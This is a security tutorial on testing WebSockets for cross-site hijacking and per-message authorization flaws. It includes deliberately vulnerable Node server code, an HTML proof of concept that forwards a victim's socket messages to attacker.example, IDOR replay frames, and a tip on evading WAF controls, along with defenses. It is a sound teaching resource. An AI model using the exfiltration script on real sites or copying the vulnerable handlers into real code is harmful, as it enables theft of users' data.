WebSocket Security Testing Methodology

WebSocket Security Testing Methodology - article cover image Web Exploitation
Time it takes to read this article 5 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

WebSockets provide a persistent, bidirectional connection between a browser and a server, negotiated with a single HTTP Upgrade handshake and then left open for arbitrary framed messages in both directions. That efficiency comes at a security cost: the protections web developers rely on for ordinary HTTP — the Same-Origin Policy blocking a script from *reading* a cross-origin response, and CORS as an explicit opt-in for relaxing it — do not apply to the WebSocket handshake the way they apply to fetch/XHR. A browser will happily let a page on any origin open a WebSocket to any other origin, and if the server authenticates that handshake using ambient credentials (cookies), the result is Cross-Site WebSocket Hijacking (CSWSH).

Beyond the handshake, WebSocket applications tend to receive far less input validation scrutiny than REST APIs: once the socket is open, every subsequent JSON frame is often trusted at the same authorization level the handshake established, with no further access-control check per message. Testing WebSockets therefore means testing two distinct layers — the handshake’s origin and authentication model, and the authorization/validation logic applied to every message sent afterward.

Attack Prerequisites

The core prerequisite for CSWSH specifically, plus the general conditions worth checking on any WebSocket-heavy application:

  • The WebSocket handshake authenticates using ambient credentials — a session cookie sent automatically by the browser — rather than a token explicitly passed by client JavaScript after an authenticated REST call.
  • The server does not validate the Origin header sent during the handshake against an allowlist of trusted front-end origins.
  • No CSRF-style protection (per-connection token, double-submit) is applied to the upgrade request itself.
  • Authorization is checked only at connection time, with individual messages afterward trusted based solely on “this socket already authenticated.”

How It Works

The WebSocket handshake is, at the wire level, an ordinary HTTP GET request carrying Upgrade: websocket and Connection: Upgrade headers plus a Sec-WebSocket-Key nonce, answered with a 101 Switching Protocols response. Crucially, it is just another HTTP request from the browser’s perspective for the purposes of credential attachment: cookies scoped to the target host are sent automatically, exactly as they would be on a normal cross-origin <img> or form submission. Unlike fetch, however, the browser does not withhold the response from the calling script pending a CORS check — new WebSocket(url) from any origin will complete the handshake and hand the page a live, bidirectional channel authenticated as the victim, if the server accepts it.

This means CSWSH is architecturally closer to CSRF than to a CORS bug: the attacker’s page doesn’t need to *read* a cross-origin HTTP response to steal data, it opens the socket directly and both sends and receives messages as the victim for as long as the tab stays open. Sec-WebSocket-Key/-Accept and Sec-WebSocket-Protocol are frequently mistaken for security controls; they are not — they exist to prevent naive proxy caching and to negotiate a sub-protocol, not to authenticate the connection or its origin.

The second testing layer — message-level authorization — matters because a WebSocket connection is stateful in a way REST rarely is. A developer who carefully checks the user’s permissions when the socket first connects can easily forget to re-check them on every subsequent frame, especially for actions that take an object ID as a JSON field ({"action":"getMessage","id":1234}) — the same IDOR/BOLA class familiar from REST APIs, just carried over a different transport that tooling is less likely to have fuzzed by default.

Vulnerable Code / Configuration

A handshake handler that authenticates purely from the cookie, with no Origin check:

// ws (Node) server — VULNERABLE
wss.on('connection', (socket, req) => {
  const sessionId = parseCookie(req.headers.cookie).session;
  const user = sessions.get(sessionId);
  if (!user) return socket.close();
  socket.user = user;               // authenticated purely by ambient cookie
  // NOTE: req.headers.origin is never inspected here
});

wss.on('connection', (socket) => {
  socket.on('message', (raw) => {
    const msg = JSON.parse(raw);
    if (msg.action === 'getMessage') {
      // VULNERABLE: no per-message authorization check against socket.user
      return socket.send(JSON.stringify(db.getMessage(msg.id)));
    }
  });
});
JavaScript

Walkthrough / Exploitation

Start by inventorying WebSocket traffic — Burp Suite natively captures the handshake and every frame in a dedicated WebSockets history tab once you proxy the app through it. OWASP ZAP has an equivalent WebSocket tab. Note the authentication model used at connect time (cookie vs. explicit token in the URL or first message).

To test for CSWSH, build a minimal cross-origin proof-of-concept and host it on a different origin than the target:

<script>
  const ws = new WebSocket('wss://target.example/ws');
  ws.onopen = () => ws.send(JSON.stringify({action: 'listMessages'}));
  ws.onmessage = (evt) => {
    fetch('https://attacker.example/collect', {method: 'POST', body: evt.data});
  };
</script>
<!-- Load this page in a browser that already has a target.example session -->
HTML

If the exfiltration endpoint receives the victim’s data, the handshake accepted an unauthorized origin — proving CSWSH. For message-level authorization testing, use Burp’s WebSocket message editor (right-click a captured frame → “Send to Repeater”, which now supports WebSocket frames) to replay modified JSON with different object IDs, role fields, or malformed structures, exactly as you would fuzz a REST endpoint for IDOR:

// Original captured frame
{"action":"getMessage","id":1042}

// Modified in Repeater - does the server re-check ownership per message?
{"action":"getMessage","id":1043}
JSON

For scripted, repeatable testing outside the browser, websocat (a CLI swiss-army-knife for WebSockets) or the wscat npm tool let you script frame sequences, replay captured traffic, and probe rate limits or message-size handling that HTTP-focused tools don’t exercise.

Note: Because the handshake is just an HTTP GET, standard host-header and reverse-proxy routing bugs apply to it too — test whether the Sec-WebSocket-Protocol or path can be abused to reach an internal-only socket endpoint that a proxy was meant to keep unreachable from the public listener.

Opsec / Testing tip: Many rate limiters and WAF rules are wired only into the HTTP request pipeline and never re-applied to the framed messages sent after the upgrade — once a socket is open, high-volume or malformed message testing can slip past controls that would immediately block the same payloads sent as HTTP requests.

Detection and Defense

Treat the handshake as a CSRF-sensitive action and every subsequent frame as an independent, authorizable request:

  • Validate the Origin header during the handshake against a strict, server-side allowlist of legitimate front-end origins, and reject the upgrade otherwise.
  • Do not rely solely on cookies for WebSocket authentication. Require the client to obtain a short-lived, single-use token via an authenticated REST call first, then present it in the WebSocket URL or as the first message.
  • Re-check authorization on every message, not just at connect time — treat each frame as you would a REST request touching the same resource.
  • Enforce message schema validation and size/rate limits at the WebSocket layer explicitly; do not assume HTTP-layer controls carry over.
  • Log the Origin and authenticated identity for every connection so anomalous cross-origin handshakes are visible in monitoring.

Real-World Impact

Cross-Site WebSocket Hijacking is documented in the OWASP Web Security Testing Guide (client-side testing category) and has repeatedly surfaced in bug-bounty reports against chat, trading, and live-dashboard products where the socket streams sensitive account or market data continuously — turning a single victim page visit into an ongoing, real-time data leak rather than a one-shot request/response disclosure.

Conclusion

WebSockets inherit HTTP’s ambient-cookie authentication without inheriting the Same-Origin Policy’s read protections, and their persistent, message-oriented nature means authorization checks that are solid at connect time quietly rot if they aren’t re-applied to every frame. A sound WebSocket security test always covers both layers: who was allowed to open this socket, and what is this socket allowed to do on every single message it sends afterward.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL